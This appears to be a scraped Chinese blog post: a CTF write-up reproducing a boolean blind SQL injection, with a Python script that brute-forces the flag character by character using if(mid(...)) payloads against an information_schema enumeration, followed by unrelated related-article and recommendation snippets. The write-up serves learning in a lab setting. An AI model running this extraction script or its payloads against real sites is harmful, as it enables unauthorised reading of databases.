opcourse sql布尔盲注 WP复现
当时做这题的时候,写了脚本,用的if(mid())<>来爆破的,可能因为写脚本不擅长,写的太乱了,直接把payload写进mid里,整个一堆,然后括号对着WP看的时候,少了好几个括号,导致爆破失败,真的臭FIVE。首先来复现一遍把
一般都是习惯性查看源代码,

、
其实就是过滤了一些函数和and,=等 ,这些被过滤的话,而且对应着
我一开始想到的就是bool盲注,用if(0,1,2),if(1,1,2)测试过。然后一般是有两种尝试方式,一种是ascii+substr或者if+mid。我一开始就是选择的if+mid,但是爆破不出来,语句括号问题,所以这里提醒大家,能看起来简洁就简介,多使用格式化字符串,我以前都是用%,发现format很好用,3.6新加了字符串前f的格式化字符串(百度)。越简洁越好,看起来清爽
呢么上脚本
import requests
str = "A109"
url = "http://212.64.20.100/?id="
database = ''
#payload='database()'
#payload ="select group_concat(table_name separator '@') from information_schema.tables where table_schema like database()"
#payload ='select group_concat(column_name) from information_schema.columns where table_name like 0x666c3467'
payload ='select fl4g from fl4g'
print('start')
for i in range(1,100):
for w in range(48,127):
key={'id':"if((mid(({}),{},1)<>'{}'),1,2)".format(payload,i,chr(w))}
res = requests.get(url,params=key).text
print('............%s......%s.......'%(i,w))
if str in res:
database += chr(w)
break
print(database)
哎,可惜了。如果是3.6版本以上,你就可以直接
f"if((mid(({payload}),{i},1)<>'{chr(w)}'),1,2)"
很方便的哦,写脚本的时候,规范点,不要太乱,能先预制好的,可以先预制好。看起来也简洁,这样一看,上面的括号就看的清楚了,不至于把payload啥的全写进去,看的不清楚,容易漏
加油
opcourse sql布尔盲注 WP复现的更多相关文章
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)
开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- WEB新手之布尔盲注
开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...
- SQL注入--盲注及报错注入
盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
- SQL注入----盲注总结
参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7 ...
- sqli-labs lesson5-6 布尔盲注 报错注入 延时注入
LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...
随机推荐
- xcode10下,Build Phases下没有Embed Frameworks
升级xcode10后发现,Build Phases下,找不到Embed Frameworks了,最后发现在General下,有一项“Embedded Binaries",可以在这里添加Fra ...
- MYSQL Statement violates GTID consistency: Updates to non-transactional tables can only be done in either autocommitted statements or single-statement transactions, and never in the same statement as
[2019-04-21 10:17:20] [ERROR] [org.hibernate.engine.jdbc.spi.SqlExceptionHelper:144] Statement viola ...
- Asp.Net Core中DI的知识总结
在asp.net core中DI的概念是由这几部分组成的: IServiceCollection,保存IServiceDescriptor实例的列表 IServiceProvider,只有一个方法Ge ...
- mycat入门--数据库分片
配置mycat的用户名和密码: 连接mycat,就像连接mysql一样:
- servlet(3):servlet和filter<url-pattern>配置
一,servlet容器对url的匹配过程: 当 一个请求发送到servlet容器的时候,容器先会将请求的url减去tomcat的上下文路径(配置的访问系统的基础路径例如intellij idea配置的 ...
- 硬盘安装Kali
网上找到一些用EasyBCD硬盘安装的方式,可能对Kali Linux 1.0 .2.0等较老版本有用.目前的最新的Kali Linux 2016.2 用EasyBCD可以进入 Live,但是进入li ...
- git使用kdiff3合并乱码问题
https://blog.csdn.net/u011008029/article/details/72644515 在合并代码过程中发现kdiff打开的文件都是乱码,解决方案如下: 第一步:点击Set ...
- python 自动发现Java端口
python 自动发现Java端口 #!/usr/bin/env python #encoding: utf8 import subprocess try: import json except Im ...
- Motorola和Intel格式报文解析的区别
结论:无论用的Motorola,还是Intel格式,只在单个信号跨字节时解析才有区别. 先看下Vector的CANoe中dbc编辑器是如何呈现报文的: 图1 CAN报文中byte与bit顺序 从图 ...
- PHP7 中 ?? 与? :的区别
??是PHP7版本的新特性,它与?:的区别在哪里呢 ?? $b = $a?? $c ;相当于$b= isset($a)?$a:$c; ?: $b = $a?$a: $c 则是 $b = !empty( ...